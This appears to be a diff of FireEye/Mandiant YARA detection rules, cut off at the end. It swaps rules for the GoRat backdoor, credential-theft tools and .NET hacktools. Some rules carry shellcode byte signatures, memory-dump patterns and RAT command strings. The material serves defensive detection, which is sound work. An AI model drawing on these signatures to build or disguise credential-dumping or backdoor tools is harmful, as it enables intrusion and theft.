"FireEye" - id = "fa3bcaad-c210-5b9c-8567-fe85b8e78055" + id = "0ca9a13c-e0a0-588b-be13-5954b17d95b1" date = "2020-12-08" - modified = "2021-03-03" + modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GORAT_4.yar#L5-L16" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPTEMPLATE_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "f59095f0ab15f26a1ead7eed8cdb4902" - logic_hash = "ec201614cb91fae9d7c89febfa22dfd6ba7f353e0eeb0b2fec6c8d887992e79e" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "9746c1ab7b945d311c53fbdf95993d255369e06b23a3279c9f2e8a4df73ab63c" score = 75 - quality = 25 + quality = 73 tags = "FILE" - rev = 8 + rev = 2 strings: - $mz = "MZ" + $typelibguid0 = "e9e452d4-9e58-44ff-ba2d-01b158dda9bb" ascii nocase wide condition: - $mz at 0 and uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 10MB and pe.exports ( "MemoryCallEntryPoint" ) and pe.exports ( "MemoryDefaultAlloc" ) and pe.exports ( "MemoryDefaultFree" ) and pe.exports ( "MemoryDefaultFreeLibrary" ) and pe.exports ( "MemoryDefaultGetProcAddress" ) and pe.exports ( "MemoryDefaultLoadLibrary" ) and pe.exports ( "MemoryFindResource" ) and pe.exports ( "MemoryFindResourceEx" ) and pe.exports ( "MemoryFreeLibrary" ) and pe.exports ( "MemoryGetProcAddress" ) and pe.exports ( "MemoryLoadLibrary" ) and pe.exports ( "MemoryLoadLibraryEx" ) and pe.exports ( "MemoryLoadResource" ) and pe.exports ( "MemoryLoadString" ) and pe.exports ( "MemoryLoadStringEx" ) and pe.exports ( "MemorySizeofResource" ) and pe.exports ( "callback" ) and pe.exports ( "crosscall2" ) and pe.exports ( "crosscall_386" ) + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_Trojan_MSIL_GORAT_Plugin_DOTNET_1 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_MODIFIEDSHARPVIEW_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'RedFlare - Plugin - .NET' project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'modifiedsharpview' project." author = "FireEye" - id = "faa73d64-4bb1-5c06-a3a5-1f1aa99ea932" + id = "e07d3d4b-fba3-5df7-85f4-927bb8cec2d1" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/Trojan_MSIL_GORAT_Plugin_DOTNET_1.yar#L4-L16" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_MODIFIEDSHARPVIEW_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "e979822273c6d1ccdfebd341c9e2cb1040fe34a04e8b41c024885063fd946ad5" + hash = "db0eaad52465d5a2b86fdd6a6aa869a5" + logic_hash = "a47c48da998243fab92665649fb9d6ecc6ac32e1fd884c2c0d5ccecb05290c10" score = 75 - quality = 71 + quality = 73 tags = "FILE" - rev = 1 + rev = 3 strings: - $typelibguid0 = "cd9407d0-fc8d-41ed-832d-da94daa3e064" ascii nocase wide - $typelibguid1 = "fc3daedf-1d01-4490-8032-b978079d8c2d" ascii nocase wide + $typelibguid0 = "22a156ea-2623-45c7-8e50-e864d9fc44d3" ascii nocase wide condition: ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Backdoor_Macos_GORAT_1 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPDACL_1 : FILE { meta: - description = "This rule is looking for specific strings associated with network activity found within the MacOS generated variant of GORAT" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpdacl' project." author = "FireEye" - id = "4646eadb-7acf-582f-9ad6-00f012ceed8a" + id = "13f4e3ea-1e36-5fad-9197-66511d6f026a" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_MacOS_GORAT_1.yar#L4-L19" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPDACL_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "68acf11f5e456744262ff31beae58526" - logic_hash = "2df5f87d44968670511880d21ad184779d0561c7c426a5d6426bcefd0904a9b7" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "5f44ec5ddded18fb3a9132b469b2fe7ccbffb3f907325485f0f72fe3d6bbfa23" score = 75 - quality = 75 + quality = 73 tags = "FILE" rev = 3 strings: - $s1 = "SID1=%s" ascii wide - $s2 = "http/http.dylib" ascii wide - $s3 = "Mozilla/" ascii wide - $s4 = "User-Agent" ascii wide - $s5 = "Cookie" ascii wide + $typelibguid0 = "b3c17fb5-5d5a-4b14-af3c-87a9aa941457" ascii nocase wide condition: - (( uint32( 0 ) == 0xBEBAFECA ) or ( uint32( 0 ) == 0xFEEDFACE ) or ( uint32( 0 ) == 0xFEEDFACF ) or ( uint32( 0 ) == 0xCEFAEDFE ) ) and all of them + filesize < 10MB and ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Backdoor_Win_Gorat_Memory +rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPPATCHCHECK_1 : FILE { meta: - description = "Identifies GoRat malware in memory based on strings." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharppatchcheck' project." author = "FireEye" - id = "16fb1db7-711c-5d8d-9203-738c94f253fe" + id = "dedc12b9-b9e7-5c13-ad6d-2e286aba2302" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GoRat_Memory.yar#L4-L27" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPPATCHCHECK_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "3b926b5762e13ceec7ac3a61e85c93bb" - logic_hash = "88272e59325d106f96d6b6f1d57daf968823c1e760067dee0334c66c521ce8c2" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "dec6231b656eed1526d4f70fe1b9a476bfb06246f0a7c25f2687d8c68886d400" score = 75 - quality = 75 - tags = "" - rev = 1 + quality = 73 + tags = "FILE" + rev = 2 strings: - $murica = "murica" fullword - $rat1 = "rat/modules/socks.(*HTTPProxyClient).beacon" fullword - $rat2 = "rat.(*Core).generateBeacon" fullword - $rat3 = "rat.gJitter" fullword - $rat4 = "rat/comms.(*protectedChannel).SendCmdResponse" fullword - $rat5 = "rat/modules/filemgmt.(*acquire).NewCommandExecution" fullword - $rat6 = "rat/modules/latlisten.(*latlistensrv).handleCmd" fullword - $rat7 = "rat/modules/netsweeper.(*netsweeperRunner).runSweep" fullword - $rat8 = "rat/modules/netsweeper.(*Pinger).listen" fullword - $rat9 = "rat/modules/socks.(*HTTPProxyClient).beacon" fullword - $rat10 = "rat/platforms/win/dyloader.(*memoryLoader).ExecutePluginFunction" fullword - $rat11 = "rat/platforms/win/modules/namedpipe.(*dummy).Open" fullword - $winblows = "rat/platforms/win.(*winblows).GetStage" fullword + $typelibguid0 = "528b8df5-6e5e-4f3b-b617-ac35ed2f8975" ascii nocase wide condition: - $winblows or #murica > 10 or 3 of ( $rat* ) + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Backdoor_Win_GORAT_5 : FILE +rule FIREEYE_RT_Credtheft_MSIL_Wcmdump_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WCMDump' project." author = "FireEye" - id = "73102bd2-7b94-5c7b-b9a4-cfc9cf5e3212" - date = "2020-12-02" - date = "2020-12-02" + id = "22796ccb-a01e-59d8-8c3a-6cbb62899940" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GORAT_5.yar#L4-L23" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/CredTheft_MSIL_WCMDump_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "cdf58a48757010d9891c62940c439adb, a107850eb20a4bb3cc59dbd6861eaf0f" - logic_hash = "67f85fb3bedfd18a1226c92318f387be3c7ff9566ca2d554c49cf62389482552" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "9fbf53e551342695b306b10f30a3fe32dff359bd70e84e1fa1f190772f5dcbe3" score = 75 - quality = 75 + quality = 73 tags = "FILE" rev = 1 strings: - $1 = "comms.BeaconData" fullword - $2 = "comms.CommandResponse" fullword - $3 = "rat.BaseChannel" fullword - $4 = "rat.Config" fullword - $5 = "rat.Core" fullword - $6 = "platforms.AgentPlatform" fullword - $7 = "GetHostID" fullword - $8 = "/rat/cmd/gorat_shared/dllmain.go" fullword + $typelibguid0 = "21e322f2-4586-4aeb-b1ed-d240e2a79e19" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_Trojan_MSIL_GORAT_Module_Powershell_1 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPSQLCLIENT_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'RedFlare - Module - PowerShell' project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpsqlclient' project." author = "FireEye" - id = "b0fba130-9cd9-5b7f-a806-9ff8099f5731" + id = "4d526c36-f56f-53cf-9bdf-b7a15619eb41" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/Trojan_MSIL_GORAT_Module_PowerShell_1.yar#L4-L16" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPSQLCLIENT_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "e596bc0316a4ef85f04c2683ebc7c94bf9b831843232c33e62c84991e4caeb97" + logic_hash = "bc79f80582f4fadecf54d926abdcf61694224654ba5075203f0d1123cf11afc1" score = 75 - quality = 71 + quality = 73 tags = "FILE" - rev = 1 + rev = 2 strings: - $typelibguid0 = "38d89034-2dd9-4367-8a6e-5409827a243a" ascii nocase wide - $typelibguid1 = "845ee9dc-97c9-4c48-834e-dc31ee007c25" ascii nocase wide + $typelibguid0 = "13ed03cd-7430-410d-a069-cf377165fbfd" ascii nocase wide condition: ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Backdoor_Win_GORAT_2 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPNFS_1 : FILE { meta: - description = "Verifies that the sample is a Windows PE that is less than 10MB in size and has the Go build ID strings. Then checks for various strings known to be in the Gorat implant including strings used in C2 json, names of methods, and the unique string 'murica' used in C2 comms. A check is done to ensure the string 'rat' appears in the binary over 1000 times as it is the name of the project used by the implant and is present well over 2000 times." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpnfs' project." author = "FireEye" - id = "e2c47711-d088-5cb4-8d21-f8199a865a28" + id = "b9d1b4e8-644a-5611-85e8-a124f915b443" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GORAT_2.yar#L4-L34" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPNFS_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "f59095f0ab15f26a1ead7eed8cdb4902" - logic_hash = "8efc904498386d89879766a5021148a250f639bc328df12a34cfc8d620df6f6c" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "e7f9883376b153849970599d9ecc308882eb86a67834cfd8ab06b44539346125" score = 75 - quality = 50 + quality = 73 tags = "FILE" - rev = 7 + rev = 3 strings: - $go1 = "go.buildid" ascii wide - $go2 = "Go build ID:" ascii wide - $json1 = "json:\"pid\"" ascii wide - $json2 = "json:\"key\"" ascii wide - $json3 = "json:\"agent_time\"" ascii wide - $json4 = "json:\"rid\"" ascii wide - $json5 = "json:\"ports\"" ascii wide - $json6 = "json:\"agent_platform\"" ascii wide - $rat = "rat" ascii wide - $str1 = "handleCommand" ascii wide - $str2 = "sendBeacon" ascii wide - $str3 = "rat.AgentVersion" ascii wide - $str4 = "rat.Core" ascii wide - $str5 = "rat/log" ascii wide - $str6 = "rat/comms" ascii wide - $str7 = "rat/modules" ascii wide - $str8 = "murica" ascii wide - $str9 = "master secret" ascii wide - $str10 = "TaskID" ascii wide - $str11 = "rat.New" ascii wide + $typelibguid0 = "9f67ebe3-fc9b-40f2-8a18-5940cfed44cf" ascii nocase wide condition: - uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 10MB and all of ( $go* ) and all of ( $json* ) and all of ( $str* ) and #rat > 1000 + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Backdoor_Win_GORAT_3 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_REDTEAMMATERIALS_1 : FILE { meta: - description = "This rule uses the same logic as FE_APT_Trojan_Win_GORAT_1_FEBeta with the addition of one check, to look for strings that are known to be in the Gorat implant when a certain cleaning script is not run against it." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'red_team_materials' project." author = "FireEye" - id = "94c195b5-b8e8-56a7-bc11-dbbe2f969b06" + id = "272cd3e9-884a-566b-ae90-4a79ee726a8d" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GORAT_3.yar#L4-L39" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_REDTEAMMATERIALS_1.yar#L4-L16" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "995120b35db9d2f36d7d0ae0bfc9c10d" - logic_hash = "592745e9c67f7adf0cd48975ed1497211d8efeff29b52be1e2d082b9a648bb57" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "ca54a1e8335c4256295fc643f5d31eae2e89f020dc7a9b571c4772edaad08022" score = 75 - quality = 28 + quality = 71 tags = "FILE" - rev = 5 + rev = 3 strings: - $dirty1 = "fireeye" ascii nocase wide - $dirty2 = "kulinacs" ascii nocase wide - $dirty3 = "RedFlare" ascii nocase wide - $dirty4 = "gorat" ascii nocase wide - $dirty5 = "flare" ascii nocase wide - $go1 = "go.buildid" ascii wide - $go2 = "Go build ID:" ascii wide - $json1 = "json:\"pid\"" ascii wide - $json2 = "json:\"key\"" ascii wide - $json3 = "json:\"agent_time\"" ascii wide - $json4 = "json:\"rid\"" ascii wide - $json5 = "json:\"ports\"" ascii wide - $json6 = "json:\"agent_platform\"" ascii wide - $rat = "rat" ascii wide - $str1 = "handleCommand" ascii wide - $str2 = "sendBeacon" ascii wide - $str3 = "rat.AgentVersion" ascii wide - $str4 = "rat.Core" ascii wide - $str5 = "rat/log" ascii wide - $str6 = "rat/comms" ascii wide - $str7 = "rat/modules" ascii wide - $str8 = "murica" ascii wide - $str9 = "master secret" ascii wide - $str10 = "TaskID" ascii wide - $str11 = "rat.New" ascii wide + $typelibguid0 = "86c95a99-a2d6-4ebe-ad5f-9885b06eab12" ascii nocase wide + $typelibguid1 = "e06f1411-c7f8-4538-bbb9-46c928732245" ascii nocase wide condition: - uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 10MB and all of ( $go* ) and all of ( $json* ) and all of ( $str* ) and #rat > 1000 and any of ( $dirty* ) + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_Hacktool_Win32_Andrewspecial_1 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPZIPLIBZIPPER_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpziplibzipper' project." author = "FireEye" - id = "69e27e92-d68e-5543-bada-170e32733dbb" - date = "2020-11-25" - date = "2020-11-25" + id = "392a52be-29ae-58e1-b517-1ab34a1e1fb8" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TITOSPECIAL/production/yara/HackTool_Win32_AndrewSpecial_1.yar#L4-L18" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPZIPLIBZIPPER_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "e89efa88e3fda86be48c0cc8f2ef7230" - logic_hash = "529a49fb21250069111d03a174901dc2e1623ee2a1f446aae1bdb1579a227dd3" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "19354edb91a0d79fdf79437f7247bcf155514db40340af91a3320b556dc2e4c2" score = 75 - quality = 75 + quality = 73 tags = "FILE" - rev = 4 + rev = 3 strings: - $dump = { 6A 00 68 FF FF 1F 00 FF 15 [4] 89 45 ?? 83 [2] 00 [1-50] 6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 10 68 [4] FF 15 [4] 89 45 [10-70] 6A 00 6A 00 6A 00 6A 02 8B [2-4] 5? 8B [2-4] 5? 8B [2-4] 5? E8 [4-20] FF 15 } - $shellcode_x86 = { B8 3C 00 00 00 33 C9 8D 54 24 04 64 FF 15 C0 00 00 00 83 C4 04 C2 14 00 } - $shellcode_x86_inline = { C6 45 ?? B8 C6 45 ?? 3C C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 33 C6 45 ?? C9 C6 45 ?? 8D C6 45 ?? 54 C6 45 ?? 24 C6 45 ?? 04 C6 45 ?? 64 C6 45 ?? FF C6 45 ?? 15 C6 45 ?? C0 C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 83 C6 45 ?? C4 C6 45 ?? 04 C6 45 ?? C2 C6 45 ?? 14 C6 45 ?? 00 } + $typelibguid0 = "485ba350-59c4-4932-a4c1-c96ffec511ef" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and $dump and any of ( $shellcode* ) + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_Credtheft_MSIL_Titospecial_1 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPDNS_1 : FILE { meta: - description = "This rule looks for .NET PE files that have the strings of various method names in the TitoSpecial code." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpdns' project." author = "FireEye" - id = "932bb013-03de-5cf7-89e9-b3232151d303" + id = "db6b45be-f42f-5d0f-b50a-32e7a2cbfce6" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TITOSPECIAL/production/yara/CredTheft_MSIL_TitoSpecial_1.yar#L4-L27" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPDNS_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "4bf96a7040a683bd34c618431e571e26" - logic_hash = "4ac9a5ede4aea5d73545b459eb635f87ce08ba521afa48b76d2cfa94f1379226" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "bab36f9b1532c3b24c2aea2907006820ed7cf1c90dae7a8138962e14ac9eff55" score = 75 - quality = 75 + quality = 73 tags = "FILE" - rev = 4 + rev = 2 strings: - $str1 = "Minidump" ascii wide - $str2 = "dumpType" ascii wide - $str3 = "WriteProcessMemory" ascii wide - $str4 = "bInheritHandle" ascii wide - $str5 = "GetProcessById" ascii wide - $str6 = "SafeHandle" ascii wide - $str7 = "BeginInvoke" ascii wide - $str8 = "EndInvoke" ascii wide - $str9 = "ConsoleApplication1" ascii wide - $str10 = "getOSInfo" ascii wide - $str11 = "OpenProcess" ascii wide - $str12 = "LoadLibrary" ascii wide - $str13 = "GetProcAddress" ascii wide + $typelibguid0 = "d888cec8-7562-40e9-9c76-2bb9e43bb634" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of ( $str* ) + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_Hacktool_Win64_Andrewspecial_1 : FILE +rule FIREEYE_RT_Credtheft_MSIL_Credsnatcher_1 : FILE { meta: - description = "No description has been set in the source file - FireEye-RT" + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'CredSnatcher' project." author = "FireEye" - id = "20ce4902-4eb3-5ecf-aa8c-0515965dde57" - date = "2020-11-25" - date = "2020-11-25" + id = "0d8f7495-4748-577d-8ef2-ccc4829fc165" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TITOSPECIAL/production/yara/HackTool_Win64_AndrewSpecial_1.yar#L4-L18" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/CredTheft_MSIL_CredSnatcher_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "4456e52f6f8543c3ba76cb25ea3e9bd2" - logic_hash = "96f06c46dfec795fcfd08c188853d0a3f781003ae118833719a175eb59049c0d" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "2c86be1bcf29bcb2c167f9248dee0ab4a5a5c6740fb1f18784ee2e380176df91" score = 75 - quality = 75 + quality = 73 tags = "FILE" - rev = 5 + rev = 1 strings: - $dump = { 33 D2 B9 FF FF 1F 00 FF 15 [10-90] 00 00 00 00 [2-6] 80 00 00 00 [2-6] 02 00 00 00 45 33 C9 45 33 C0 BA 00 00 00 10 48 8D 0D [4] FF 15 [4-120] 00 00 00 00 [2-6] 00 00 00 00 [2-6] 00 00 00 00 41 B9 02 00 00 00 [6-15] E8 [4-20] FF 15 } - $shellcode_x64 = { 4C 8B D1 B8 3C 00 00 00 0F 05 C3 } - $shellcode_x64_inline = { C6 44 24 ?? 4C C6 44 24 ?? 8B C6 44 24 ?? D1 C6 44 24 ?? B8 C6 44 24 ?? 3C C6 44 24 ?? 00 C6 44 24 ?? 00 C6 44 24 ?? 00 C6 44 24 ?? 0F C6 44 24 ?? 05 C6 44 24 ?? C3 } + $typelibguid0 = "370b4d21-09d0-433f-b7e4-4ebdd79948ec" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and $dump and any of ( $shellcode* ) + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_APT_Hacktool_MSIL_TITOSPECIAL_1 : FILE +rule FIREEYE_RT_Loader_Win_Generic_19 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "b12490ba-41f6-5469-bcbb-0d2e0055c193" - date = "2020-11-25" - date = "2020-11-25" + id = "4f4427ee-0f7d-5442-98a6-402d8b797289" + date = "2020-12-02" + date = "2020-12-02" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TITOSPECIAL/production/yara/APT_HackTool_MSIL_TITOSPECIAL_1.yar#L4-L20" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/supplemental/yara/Loader_Win_Generic_19.yar#L4-L19" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "4bf96a7040a683bd34c618431e571e26" - logic_hash = 